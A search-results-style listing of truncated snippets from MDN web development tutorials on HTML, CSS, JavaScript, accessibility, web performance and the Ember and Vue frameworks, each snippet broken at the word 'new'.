newly created memory space previously created memory space is now available for garbage collection. learn more general knowledge immutable object on wikipedia ...
Primitive - MDN Web Docs Glossary: Definitions of Web-related terms
pecial case for every object: and any structured type is derived from null by the prototype chain. most of the time, a primitive value is represented directly at the lowest level of the language implementation. all primitives are immutable, i.e., they cannot be altered. it is important not to confuse a primitive itself with a variable assigned a primitive value. the variable may be reassigned a
new value, but the existing value can not be changed in the ways that objects, arrays, and functions can be altered. example this example will help you understand that primitive values are immutable. javascript // using a string method doesn't mutate the string var bar = "baz"; console.log(bar); // baz bar.touppercase(); console.log(bar); // baz // using an array meth...
...ve values are immutable. javascript // using a string method doesn't mutate the string var bar = "baz"; console.log(bar); // baz bar.touppercase(); console.log(bar); // baz // using an array method mutates the array var foo = []; console.log(foo); // [] foo.push("plugh"); console.log(foo); // ["plugh"] // assignment gives the primitive a
new (not a mutated) value bar = bar.touppercase(); // baz a primitive can be replaced, but it can't be directly altered. another example [ step-by-step ] the following example will help you go through how javascript deals with primitives. javascript // the primitive let foo = 5; // defining a function that should change the primitive value function addtwo(num) { num += 2; } // another...
Test your skills: CSS and JavaScript accessibility - Learn web development
om of this page. css accessibility 1 in the first task you are presented with a list of links. however, their accessibility is pretty bad — there is no way to really tell that they are links, or to tell which one the user is focussed on. we'd like you to assume that the existing ruleset with the a selector is supplied by some cms, and that you can't change it — instead, you need to create
new rules to make the links look and behave like links, and for the user to be able to tell where they are in the list. try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. css accessibility 2 in this next task you are presented with a simple bit of content — just headings and paragrap...
...is task to work in your own editor or in an online editor. css accessibility 2 in this next task you are presented with a simple bit of content — just headings and paragraphs. there are accessibility issues with the colors and sizing of the text; we'd like you to: 1. explain what the problems are, and what the guidelines are that state the acceptable values for color and sizing. 2. select
new values for the color and font-size that fix the problem. 3. update the css with these
new values to fix the problem. 4. test the code to make sure the problem is now fixed. explain what tools or methods you used to select the
new values and test the code. try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor ...
CSS and JavaScript accessibility best practices - Learn web development
ansion: <p>web content is marked up using <abbr title="hypertext markup language">html</abbr>.</p> again, you might want to style it in some simple way: abbr { color: #a60000; } the recognised styling convention for abbreviations is a dotted underline, and it is unwise to significantly deviate from this. for more on abbreviations, see abbreviations. ...
....name; anchor.onclick = function() { testitem.input.focus(); }; listitem.appendchild(anchor); errorlist.appendchild(listitem); } each link serves a dual purpose — it tells you what the error is, plus you can click on it/activate it to jump straight to the input element in question and correct your entry. note: the focus() part of this example is a bit tricky. chrome and edge (and
newer versions of ie) will focus the element when the link is clicked, without needing the onclick/focus() block. safari will only highlight the form element with the link on its own, so needs the onclick/focus() block to actually focus it. firefox doesn't focus the inputs properly at all in this context, so firefox users can't take advantage of this at present (although everything else works fine). ...
Creating fancy letterheaded paper - Learn web development
isites: before attempting this assessment you should have already worked through all the articles in this module. objective: to test comprehension of css box model, and other box-related features such as implementing backgrounds. starting point to get this assessment started, you should: make local copies of the html and css — save them as index.html and style.css in a
new directory. save local copies of the top, bottom and logo images in the same directory as your code files. alternatively, you could use a site like jsbin or glitch to do your assessment. you could paste the html and fill in the css into one of these online editors. if the online editor you are using doesn't have a separate css panel, feel free to put it in a <style> element in the head of the d...
...a filter to the logo to give it a subtle drop shadow. now comment out the filter and implement the drop shadow in a different (slightly more cross-browser compatible) way, which still follows the shape of the round image. hints and tips remember that you can create a fallback for older browsers by putting the fallback version of a declaration first, followed by the version that works across
newer browsers only. older browsers will apply the first declaration and ignore the second one, whereas
newer browsers will apply the first one, then override it with the second one. feel free to create your own graphics for the assessment if you wish. example the following screenshot shows an example of what the finished design could look like: assessment or further help if you would like yo...
Organizing your CSS - Learn web development
ways follow reduces the amount of mental overhead needed when writing css, as some of the decisions are already made. formatting readable css there are a couple of ways you will see css formatted. some developers put all of the rules onto a single line, like so: .box { background-color: #567895; } h2 { background-color: black; color: white; } other developers prefer to break everything onto a
new line: .box { background-color: #567895; } h2 { background-color: black; color: white; } css doesn't mind which one you use. we personally find it is more readable to have each property and value pair on a
new line. comment your css adding comments to your css will help any future developer work with your css file, but will also help you when you come back to the project after a break. ...
...her element. for example, you might have something like the below selector, which applies the rule to a <p> with a class of box inside an <article> with a class of main. article.main p.box { border: 1px solid #ccc; } if you then wanted to apply the same rules to something outside of main, or to something other than a <p>, you would have to add another selector to these rules or create a whole
new ruleset. instead, you could use the selector .box to apply your rule to any element that has the class box: .box { border: 1px solid #ccc; } there will be times when making something more specific makes sense, however this will generally be an exception rather than usual practice. break large stylesheets into multiple smaller ones in particular in cases where you have very different styles ...
Pseudo-classes and pseudo-elements - Learn web development
le, maintainable code. pseudo-classes are keywords that start with a colon: :pseudo-class-name simple pseudo-class example let's look at a simple example. if we wanted to make the first paragraph in an article larger and bold, we could add a class to that paragraph and then add css to that class, as shown in the first example below: however, this could be annoying to maintain — what if a
new paragraph got added to the top of the document? we'd need to move the class over to the
new paragraph. instead of adding the class, we could use the :first-child pseudo-class selector — this will always target the first child element in the article, and we will no longer need to edit the html (this may not always be possible anyway, maybe due to it being generated by a cms.) all pseudo-class...
...ass had been added to the element when the user interacts with it. examples include: :hover — mentioned above; this only applies if the user moves their pointer over an element, typically a link. :focus — only applies if the user focuses the element using keyboard controls. what is a pseudo-element? pseudo-elements behave in a similar way, however they act as if you had added a whole
new html element into the markup, rather than applying a class to existing elements. pseudo-elements start with a double colon ::. ::pseudo-element-name note: some early pseudo-elements used the single colon syntax, so you may sometimes see this in code or examples. modern browsers support the early pseudo-elements with single- or double-colon syntax for backwards compatibility. for example, if ...
Beginner's guide to media queries - Learn web development
rower than 600 pixels, use max-width: @media screen and (max-width: 600px) { body { color: blue; } } open this example in the browser, or view the source. in practice, using minimum or maximum values is much more useful for responsive design so you will rarely see width or height used alone. there are a number of other media features that you can test for, although some of the
newer features introduced in level 4 and 5 of the media queries specification have limited browser support. each feature is documented on mdn along with browser support information, and you can find a full list at using media queries: media features. orientation one well-supported media feature is orientation, which allows us to test for portrait or landscape mode. to change the body text color if ...
... display: flex; } nav li { flex: 1; } } this css gives us a two-column layout inside the article, of the article content and related information in the aside element. we have also used flexbox to put the navigation into a row. open step 2 in the browser, or view the source. lets continue to expand the width until we feel there is enough room for the sidebar to also form a
new column. inside a media query we'll make the main element into a two column grid. we then need to remove the margin-bottom on the article in order that the two sidebars align with each other, and we'll add a border to the top of the footer. typically these small tweaks are the kind of thing you will do to make the design look good at each breakpoint. again, add the below code into the bottom of y...
CSS layout - Learn web development
out of the normal document layout flow, and make them behave differently, for example sitting on top of one another, or always remaining in the same place inside the browser viewport. this article explains the different position values, and how to use them. multiple-column layout the multiple-column layout specification gives you a method of laying content out in columns, as you might see in a
newspaper. this article explains how to use this feature. responsive design as more diverse screen sizes have appeared on web-enabled devices, the concept of responsive web design (rwd) has appeared: a set of practices that allows web pages to alter their layout and appearance to suit different screen widths, resolutions, etc. it is an idea that changed the way we design for a multi-device web, and...
...der methods work, in order that you understand how they were used if you work on an older project. supporting older browsers in this module we recommend using flexbox and grid as the main layout methods for your designs. however there will be visitors to your site who use older browsers, or browsers which do not support the methods you have used. this will always be the case on the web — as
new features are developed, different browsers will prioritise different things. this article explains how to use modern web techniques without locking out users of older technology. assessment: fundamental layout comprehension an assessment to test your knowledge of different layout methods by laying out a webpage. ...
Getting started with CSS - Learn web development
therefore it is sometimes best to bypass the element and simply refer to the class, unless you know that you want to create some special rules for one element alone, and perhaps want to make sure they are not applied to other things. styling things based on their location in a document there are times when you will want something to look different based on where it ...
...you now already know enough to style text, apply css based on different ways of targeting elements in the document, and look up properties and values in the mdn documentation. in the next lesson we will be taking a look at how css is structured. previous overview: first steps next in this module what is css? getting started with css how css is structured how css works using your
new knowledge ...
How CSS is structured - Learn web development
3px; } div p { margin: 0; padding: 1em; } div p + p { padding-top: 0; } "commenting out" code is also useful for temporarily disabling sections of code for testing. in the example below, the rules for .special are disabled by "commenting out" the code. /*.special { color: red; }*/ p { color: blue; } add comments to your css. white space white space means actual spaces, tabs and
new lines. just as browsers ignore white space in html, browsers ignore white space inside css. the value of white space is how it can improve readability. in the example below, each declaration (and rule start/end) has its own line. this is arguably a good way to write css. it makes it easier to maintain and understand css. body { font: 1em/150% helvetica, arial, sans-serif; padding: 1em; ma...
...trings. ...
What is the difference between webpage, website, web server, and search engine? - Learn web development
let's learn what they each mean! prerequisites: you should know how the internet works. objective: be able to describe the differences between a web page, a website, a web server, and a search engine. summary as with any area of knowledge, the web comes with a lot of jargon. don't worry, we won't overwhelm you with all of it (we have a glossary if you're curious). ...
...ot of jargon. don't worry, we won't overwhelm you with all of it (we have a glossary if you're curious). however, there are a few basic terms you need to understand at the outset, since you'll hear these expressions all the time as you read on. it's easy to confuse these terms sometimes since they refer to related but different functionalities. in fact, you'll sometimes see these terms misused in
news reports and elsewhere, so getting them mixed up is understandable! we'll cover these terms and technologies in more detail as we explore further, but these quick definitions will be a great start for you: web page a document which can be displayed in a web browser such as firefox, google chrome, opera, microsoft internet explorer or edge, or apple's safari. these are also often called just ...
What are hyperlinks? - Learn web development
one else's webpage to your site. it's the opposite of an external link. note that you don't have to link back when someone links to your site. when you're building a website, focus on internal links, since those make your site usable. find a good balance between having too many links and too few. we'll talk about designing website navigation in another article, but as a rule, whenever you add a
new webpage, make sure at least one of your other pages links to that
new page. on the other hand, if your site has more than about ten pages, it's counter-productive to link to every page from every other page. when you're starting out, you don't have to worry about external and incoming links as much, but they are very important if you want search engines to find your site (see below for more deta...
...out, you don't have to worry about external and incoming links as much, but they are very important if you want search engines to find your site (see below for more details). anchors most links tie two webpages together. anchors tie two sections of one document together. when you follow a link pointing to an anchor, your browser jumps to another part of the current document instead of loading a
new document. however, you make and use anchors the same way as other links. links and search engines links matter both to users and search engines. every time search engines crawl a webpage, they index the website by following the links available on the webpage. search engines not only follow links to discover the various pages of the website, but they also use the link's visible text to determi...
Basic native form controls - Learn web development
ng <form>, <fieldset>, <legend>, <textarea>, <label>, <button>, and <input>. this article covers: the common input types button, checkbox, file, hidden, image, password, radio, reset, submit, and text. some of the attributes that are common to all form controls. note: the features discussed in this article are supported in all browsers, which is not the case for all form controls. we cover
newer form controls added in html5 in the next two articles. if you want a more advanced reference, you should consult our html forms element reference, and in particular our extensive <input> types reference. text input fields text <input> fields are the most basic form widgets. they are a very convenient way to let the user enter any kind of data, and we've already seen a few simple examples. ...
...cle, but can you remember the most important information? you can find some further tests to verify that you've retained this information before you move on — see test your skills: basic controls. summary this article has covered the older input types — the original set introduced in the early days of html that is well supported in all browsers. in the next section, we'll take a look at the
newer values of the type attribute that were added in html5. previous overview: forms next in this module your first form how to structure a web form basic native form controls the html5 input types other form controls styling web forms advanced form styling ui pseudo-classes client-side form validation sending form data advanced topics how to build custom form controls se...
How to structure a web form - Learn web development
d. don't worry about this for now; you'll find out how they work in the next article (basic native form controls). for now, read the descriptions carefully as you follow the below instructions, and start to form an appreciation of which wrapper elements we are using to structure the form, and why. to start with, make a local copy of our blank template file and the css for our payment form in a
new directory on your computer. apply the css to the html by adding the following line inside the html <head>: <link href="payment-form.css" rel="stylesheet"> next, create your form by adding the outer <form> element: <form> </form> inside the <form> tags, add a heading and paragraph to inform users how required fields are marked: <h1>payment form</h1> <p>required fields are followed by...
...the second is an <input> element of type tel, for entering a credit card number; while we could have used the number type, we don't want the number's spinner ui. the last one is an <input> element of type date, for entering the expiration date of the card; this one will come up with a date picker widget in supporting browsers, and fall back to a normal text input in non-supporting browsers. these
newer input types are reintroduced in the html5 input types. enter the following below the previous section: <section> <h2>payment information</h2> <p> <label for="card"> <span>card type:</span> </label> <select id="card" name="usercard"> <option value="visa">visa</option> <option value="mc">mastercard</option> <option value="amex">amer...
CSS basics - Learn web development
age with background images and colors? what is css? like html, css is not a programming language. it's not a markup language either. css is a style sheet language. css is what you use to selectively style html elements. for example, this css selects paragraph text, setting the color to red: p { color: red; } let's try it out! using a text editor, paste the three lines of css (above) into a
new file. save the file as style.css in a directory named styles. to make the code work, we still need to apply this css (above) to your html document. otherwise, the styling won't change the appearance of the html. (if you haven't been following our project, pause here to read dealing with files and html basics.) open your index.html file. paste the following line in the head (between the <head>...
...utside of the border. in this section we also use: width (of an element). background-color, the color behind an element's content and padding. color, the color of an element's content (usually text). text-shadow sets a drop shadow on the text inside an element. display sets the display mode of an element. (keep reading to learn more) to continue, let's add more css. keep adding these
new rules at the bottom of style.css. experiment with changing values to see what happens. changing the page color html { background-color: #00539f; } this rule sets a background color for the entire page. change the color code to the color you chose in what will my website look like?. styling the body body { width: 600px; margin: 0 auto; background-color: #ff9500; padding: 0 20px 20px...
Define terms with HTML - Learn web development
html provides several ways to convey description semantics, whether inline or as structured glossaries. in this article, we'll cover how to properly mark up keywords when you're defining them. prerequisites: you need to be familiar with how to create a basic html document. objective: learn how to introduce
new keywords and how to build description lists. when you need a term defined, you probably go straight to a dictionary or glossary. dictionaries and glossaries formally associate keywords with one or more descriptions, as in this case: blue (adjective) of a color like the sky in a sunny day. the clear blue sky of a subtle sadness, melancholy. i'm feeling blue but we're constantly defining keywords informally, as here: firefox is the w...
...the web browser created by the mozilla foundation.</p> another use for bold is to emphasize content. bold itself is a concept foreign to html, but there are tags for indicating emphasis. special case: abbreviations it's best to mark abbreviations specially with <abbr>, so that screen readers read them appropriately and so that you can operate on all abbreviations uniformly. just as with any
new keyword, you should define your abbreviations the first time they occur. <p> <dfn><abbr>html</abbr> (hypertext markup language)</dfn> is a description language used to structure documents on the web. </p> the html spec does indeed set aside the title attribute for expanding the abbreviation. however, this is not an acceptable alternative for providing an inline expansion. the contents of ...
Document and website structure - Learn web development
but that's not a requirement; in fact, some also argue that having the two separate is better for accessibility, as screen readers can read the two features better if they are separate. ...
...f the unique content of a given webpage, for example, the video you want to watch, or the main story you're reading, or the map you want to view, or the
news headlines, etc. this is the one part of the website that definitely will vary from page to page! sidebar: some peripheral info, links, quotes, ads, etc. usually, this is contextual to what is contained in the main content (for example on a
news article page, the sidebar might contain the author's bio, or links to related articles) but there are also cases where you'll find some recurring elements like a secondary navigation system. footer: a strip across the bottom of the page that generally contains fine print, copyright notices, or contact info. it's a place to put common information (like the header) but usually, that information ...
HTML text fundamentals - Learn web development
ore. prerequisites: basic html familiarity, as covered in getting started with html. objective: learn how to mark up a basic page of text to give it structure and meaning—including paragraphs, headings, lists, emphasis, and quotations. the basics: headings and paragraphs most structured text consists of headings and paragraphs, whether you are reading a story, a
newspaper, a college textbook, a magazine, etc. structured content makes the reading experience easier and more enjoyable. in html, each paragraph has to be wrapped in a <p> element, like so: <p>i am a paragraph, oh yes i am.</p> each heading has to be wrapped in a heading element: <h1>i am the title of the story.</h1> there are six heading elements: <h1>, <h2>, <h3>, <h4>, <h5>, and <h6>. ea...
...ated. they came about so people could write bold, italics, or underlined text in an era when css was still supported poorly or not at all. elements like this, which only affect presentation and not semantics, are known as presentational elements and should no longer be used, because as we've seen before, semantics is so important to accessibility, seo, etc. html5 redefined <b>, <i>, and <u> with
new, somewhat confusing, semantic roles. here's the best rule of thumb: it's likely appropriate to use <b>, <i>, or <u> to convey a meaning traditionally conveyed with bold, italics, or underline, provided there is no more suitable element. however, it always remains critical to keep an accessibility mindset. the concept of italics isn't very helpful to people using screen readers, or to people usin...
Marking up a letter - Learn web development
uld have already worked through getting started with html, what's in the head? metadata in html, html text fundamentals, creating hyperlinks, and advanced text formatting. objective: test basic and advanced html text formatting, use of hyperlinks, and use of html <head>. starting point to begin, get the raw text you need to mark up, and the the css to style the html. create a
new .html file using your text editor or use an online tool such as codepen, jsfiddle, or glitch to complete the tasks. note: if you get stuck, then ask us for help. see the assessment or further help section at the bottom of this page. project brief for this project, your task is to mark up a letter that needs to be hosted on a university intranet. the letter is a response from a research fello...
...ts. in general, the letter should be marked up as an organization of headings and paragraphs, with the following exception. there is one top level heading (the "re:" line) and three second level headings. use an appropriate list type to mark up the semester start dates, study subjects, and exotic dances. put the two addresses inside <address> elements. each line of the address should sit on a
new line, but not be in a
new paragraph. inline semantics the names of the sender and receiver (and tel and email) should be marked up with strong importance. the four dates in the document should be have appropriate elements containing machine-readable dates. the first address and first date in the letter should have a class attribute value of sender-column. the css you'll add later will caus...
General asynchronous programming concepts - Learn web development
-sync.html example (see it running live), we add a click event listener to a button so that when clicked, it runs a time-consuming operation (calculates 10 million dates then logs the final one to the console) and then adds a paragraph to the dom: const btn = document.queryselector('button'); btn.addeventlistener('click', () => { let mydate; for(let i = 0; i < 10000000; i++) { let date =
new date(); mydate = date } console.log(mydate); let pelem = document.createelement('p'); pelem.textcontent = 'this is a
newly-added paragraph.'; document.body.appendchild(pelem); }); when running the example, open your javascript console then click the button — you'll notice that the paragraph does not appear until after the dates have finished being calculated and the console mes...
...e the operation is happening somewhere else, the main thread is not blocked while the async operation is being processed. we'll start to look at how we can write asynchronous code in the next article. exciting stuff, huh? keep reading! conclusion modern software design increasingly revolves around using asynchronous programming, to allow programs to do more than one thing at a time. as you use
newer and more powerful apis, you'll find more cases where the only way to do things is asynchronously. it used to be hard to write asynchronous code. it still takes getting used to, but it's gotten a lot easier. in the rest of this module, we'll explore further why asynchronous code matters and how to design code that avoids some of the problems described above. in this module general asynchrono...
Image gallery - Learn web development
image. when it is clicked again, the darken effect is removed again. to give you more of an idea, have a look at the finished example (no peeking at the source code!) steps to complete the following sections describe what you need to do. looping through the images we've already provided you with lines that store a reference to the thumb-bar <div> inside a constant called thumbbar, create a
new <img> element, set its src attribute to a placeholder value xxx, and append this
new <img> element inside thumbbar. you need to: put the section of code below the "looping through images" comment inside a loop that loops through all 5 images — you just need to loop through five numbers, one representing each image. in each loop iteration, replace the xxx placeholder value with a string tha...
... placeholder value with a string that will equal the path to the image in each case. we are setting the value of the src attribute to this value in each case. bear in mind that in each case, the image is inside the images directory and its name is pic1.jpg, pic2.jpg, etc. adding an onclick handler to each thumbnail image in each loop iteration, you need to add an onclick handler to the current
newimage — this handler should find the value of the src attribute of the current image. set the src attribute value of the displayed-img <img> to the src value passed in as a parameter. alternatively, you can add one event listener to the thumb bar. writing a handler that runs the darken/lighten button that just leaves our darken/lighten <button> — we've already provided a line that stores a ...
Video and Audio APIs - Learn web development
mlmediaelement.pause(), etc. this interface is available to both <audio> and <video> elements, as the features you'll want to implement are nearly identical. let's go through an example, adding features as we go. our finished example will look (and function) something like the following: getting started to get started with this example, download our media-player-start.zip and unzip it into a
new directory on your hard drive. if you downloaded our examples repo, you'll find it in javascript/apis/video-audio/start/ at this point, if you load the html you should see a perfectly normal html5 video player, with the native controls rendered. exploring the html open the html index file. you'll see a number of features; the html is dominated by the video player and its controls: <div class="...
...r inner <div> and <span> the right amount of z-index so that the timer will be displayed on top, and the inner <div> below that. this way, we make sure we can see all the information — one box is not obscuring another. implementing the javascript we've got a fairly complete html and css interface already; now we just need to wire up all the buttons to get the controls working. create a
new javascript file in the same directory level as your index.html file. call it custom-player.js. at the top of this file, insert the following code: const media = document.queryselector('video'); const controls = document.queryselector('.controls'); const play = document.queryselector('.play'); const stop = document.queryselector('.stop'); const rwd = document.queryselector('.rwd'); const...
Handling text — strings in JavaScript - Learn web development
number into a form's text field, it's a string. however, if you want to add this number to something, you'll need it to be a number, so you could pass it through number() to handle this. we did exactly this in our number guessing game, in line 54. template literals another type of string syntax that you may come across is template literals (sometimes referred to as template strings). this is a
newer syntax that provides more flexible, easier to read strings. note: try entering the below examples into your browser's javascript console, to see what results you get. to turn a standard string literal into a template literal, you have to replace the quote marks (' ', or " ") with backtick characters (` `). so, taking a simple example: let song = 'fight the youth'; would be turned into a t...
... including a simple value in the string. the third one calculates a percentage result and rounds it to the nearest integer. the fourth one includes uses a ternary operator to check whether the score is above a certain mark and print a pass or fail message depending on the result. another point to note is that if you want to split a traditional string over multiple lines, you need to include a
newline character, \n: output = 'i like the song "' + song + '".\ni gave it a score of ' + (score/highestscore * 100) + '%.'; template literals respect the line breaks in the source code, so
newline characters are no longer needed. this would achieve the same result: output = `i like the song "${ song }". i gave it a score of ${ score/highestscore * 100 }%.`; we would recommend that you get used ...
Test your skills: Arrays - Learn web development
t console, in the case of the downloadable version). arrays 1 let's start off with some basic array practice. in this task we'd like you to create an array of three items, stored inside a variable called myarray. the items can be anything you want — how about your favourite foods or bands? next, modify the first two items in the array using simple bracket notation and assignment. then add a
new item to the beginning of the array. try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. arrays 2 now let's move on to another task. here you are provided with a string to work with. we'd like you to: convert the string into an array, removing the + characters in the process. save...
...n the array in a variable called lastitem. try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. arrays 3 for this final array task, we provide you with a starting array, and you will work in somewhat the opposite direction. you need to: remove the last item in the array. add two
new names to the end of the array. go over each item in the array and add its index number after the name inside parentheses, for example ryu (0). note that we don't teach how to do this in the arrays article, so you'll have to do some research. finally, join the array items together in a single string called mystring, with a separator of " - ". try updating the live code below to recreate the fi...
Storing the information you need — Variables - Learn web development
ou may be thinking "why do we need two keywords for defining variables?? why have var and let?". the reasons are somewhat historical. back when javascript was first created, there was only var. this works basically fine in most cases, but it has some issues in the way it works — its design can sometimes be confusing or downright annoying. so, let was created in modern versions of javascript, a
new keyword for creating variables that works somewhat differently to var, fixing its issues in the process. a couple of simple differences are explained below. we won't go into all the differences now, but you'll start to discover them as you learn more about javascript (if you really want to read about them now, feel free to check out our let reference page). for a start, if you write a multiline...
... code comprehension (it is harder to accidentally change values that shouldn't be changed and mess things up). in the early days of javascript, constants didn't exist. in modern javascript, we have the keyword const, which lets us store values that can never be changed: const daysinweek = 7; const hoursinday = 24; const works in exactly the same way as let, except that you can't give a const a
new value. in the following example, the second line would throw an error: const daysinweek = 7; daysinweek = 8; test your skills! you've reached the end of this article, but can you remember the most important information? you can find some further tests to verify that you've retained this information before you move on — see test your skills: variables. summary by now you should know a reaso...
The business case for web performance - Learn web development
are time, quantity, or rule based. definining and promoting a budget helps performance proponent advocates for good user experience against competing interests, such as marketing, sales, or even other developers that may want to add videos, 3rd party scripts, or even frameworks. performance budgets help developer teams protect optimal performane for users while enabling the business to tap into
new markets and deliver custom experiences. key performance indicators setting key performance indicators (kpi) as objectives can hiltie performance objectives that are also business objectives. kpis can be both a set of important business metrics in measuring the impact of user experience and performance on the business's top line, and a way of demonstrating the benefits of prioritizing performanc...
...re also business objectives. kpis can be both a set of important business metrics in measuring the impact of user experience and performance on the business's top line, and a way of demonstrating the benefits of prioritizing performance. here are some kpis to consider: conversion rate the percent of your traffic that takes an intended action, such as completing a purchase or signing up for a
newsletter. when a business site is slow, it can prevent users from completing their intended task. this can lead to low conversion rates. time on site the average time that your users in aggregate spend on your site. when a site performance slowly, users are more likely to abandon the site prematurely which can lead to low time on site metrics. net promotion score the net promoter score (nps) is...
The "why" of web performance - Learn web development
national roaming plan? the costs would make anyone cry. (see how much your site costs to download.) improve conversion rates reducing the dowload and render time of a site improves conversion rates and user retention. a conversion rate is the rate at which site visitors perform a measured or desired action. for example, this might be making a purchase, reading an article, or subscribing to a
newsletter. the action being measured as the conversion rate depends on the website's business goals. performance impacts conversion; improving web performance improves conversion. site visitors expect a site to load in two seconds or less; sometimes even less on mobile (where it generally takes longer). these same site visitors begin abandoning slow sites at 3 seconds. the speed at which a site lo...
... at 3 seconds. the speed at which a site loads is one factor. if the site is slow to react to user interaction, or appears janky, this causes site visitors to lose interest and trust. here's some real-world examples of performance improvements: tokopedia reduced render time from 14s to 2s for 3g connections and saw a 19% increase in visitors, 35% increase in total sessions, 7% increase in
new users, 17% increase in active users and 16% increase in sessions per user. rebuilding pinterest pages for performance resulted in a 40% decrease in wait time, a 15% increase in seo traffic and a 15% increase in conversion rate to signup. to build websites and applications people want to use; to attract and retain site visitors, you need to create an accessible site that provides a good ...
Ember resources and troubleshooting - Learn web development
e declared: <checkbox @value={{this.somedata}} @ontoggle={{fn (mut this.somedata) (not this.somedata)}} /> whereas, without mut, a component class would be needed: import component from '@glimmer/component'; import { tracked } from '@glimmer/tracking'; import { action } from '@ember/object'; export default class example extends component { @tracked somedata = false; @action setdata(
newvalue) { this.somedata =
newvalue; } } which would then be called in the template like so: <checkbox @data={{this.somedata}} @onchange={{this.setdata}} /> due to the conciseness of using mut, it may be desireable to reach for it. however, mut has unnatural semantics and has caused much confusion over the term of its existence. there have been a coupleof
new ideas put together into the fo...
...ources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a
new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app ...
Routing in Ember - Learn web development
ut we will need to reorganize it a bit to handle a different view for the "active" and "completed" todos. an ember application has a default "application" route, which is tied to the app/templates/application.hbs template. because that application template is the entry point to our todo app, we'll need to make some changes to allow for routing. creating the routes let's start by creating three
new routes: "index", "active" and "completed". to do this you’ll need to enter the following commands into your terminal, inside the root directory of your app: ember generate route index ember generate route completed ember generate route active the second and third commands should have not only generated
new files, but also updated an existing file, app/router.js. it contains the following cont...
...ources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a
new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app ...
Framework main features - Learn web development
es. all of the frameworks follow the same general model: they allow developers to perform certain actions when the component mounts, when it renders, when it unmounts, and at many phases in between these. the render phase is the most crucial to understand, because it is repeated the most times as your user interacts with your application. it's run every time the browser needs to render something
new, whether that
new information is an addition to what's in the browser, a deletion, or an edit of what’s there. this diagram of a react component's lifecycle offers a general overview of the concept. rendering elements just as with lifecycles, frameworks take different-but-similar approaches to how they render your applications. all of them track the current rendered version of your browser's...
...ources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a
new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app ...
Using Vue computed properties - Learn web development
to trigger the change, we can attach a @change event handler to each checkbox instead of using v-model. update the <input> element in todoitem.vue to look like this. <input type="checkbox" class="checkbox" :id="id" :checked="isdone" @change="$emit('checkbox-changed')" /> since all we need to do is emit that the checkbox was checked, we can include the $emit() inline. in app.vue, add a
new method called updatedonestatus(), below your addtodo() method. this method should take one parameter: the todo item id. we want to find the item with the matching id and update its done status to be the opposite of its current status: updatedonestatus(todoid) { const todotoupdate = this.todoitems.find(item => item.id === todoid) todotoupdate.done = !todotoupdate.done } we want to run this m...
...ources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a
new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app ...
Creating our first Vue component - Learn web development
minal with node + npm installed. objective: to learn how to create a vue component, render it inside another component, pass data into it using props, and save its state. creating a todoitem component let's create our first component, which will display a single todo item. we'll use this to build our list of todos. in your moz-todo-vue/src/components directory, create a
new file named todoitem.vue. open the file in your code editor. create the component's template section by adding <template></template> to the top of the file. create a <script></script> section below your template section. inside the <script> tags, add a default exported object export default {}, which is your component object. your file should now look like this: <template> </template> <script...
...ources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a
new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app ...
Learn web development
er, web development can be challenging — we will hold your hand and provide enough detail for you to feel comfortable and learn the topics properly. you should feel at home whether you are a student learning web development (on your own or as part of a class), a teacher looking for class materials, a hobbyist, or someone who just wants to understand more about how web technologies work. what's
new? the content in the learning area is being added to regularly. we have started keeping learning area release notes to show what has changed — keep checking back frequently! if you have questions regarding topics you'd like to see covered or feel are missing, drop us a message on our discourse forum. looking to become a front-end web developer? we have put together a course that includes al...
...the learning-area directory using cd. for example, if you were in the parent directory: cd learning-area update the repository using the following command: git pull contact us if you want to get in touch with us about anything, the best way is to drop us a message on our discourse forum. we'd like to hear from you about anything you think is wrong or missing on the site, requests for
new learning topics, requests for help with items you don't understand, or any other questions or concerns. if you're interested in helping develop/improve the content, take a look at how you can help and get in touch! we are more than happy to talk to you, whether you are a learner, teacher, experienced web developer, or someone else interested in helping to improve the learning experience. ...
Multiprocess on Windows
y outparams that are interfaces with their own interceptors. without the support for length_is and size_is annotations, the interceptor cannot tell the difference between a scalar outparam and an array outparam. if your interface outputs an array of interfaces, the interceptor would only wrap the first element in the array, because it cannot distinguish between scalars and arrays. note: if your
new interface does not contain either of these annotations, then you do not need to worry about this step. for those interfaces that do contain length_is or size_is annotations, we need to use another api declared in mozilla/mscom/registration.h: registerarraydata(). registerarraydata() accepts an array of arraydata structs. you should statically define this array in your code, as const. for examp...
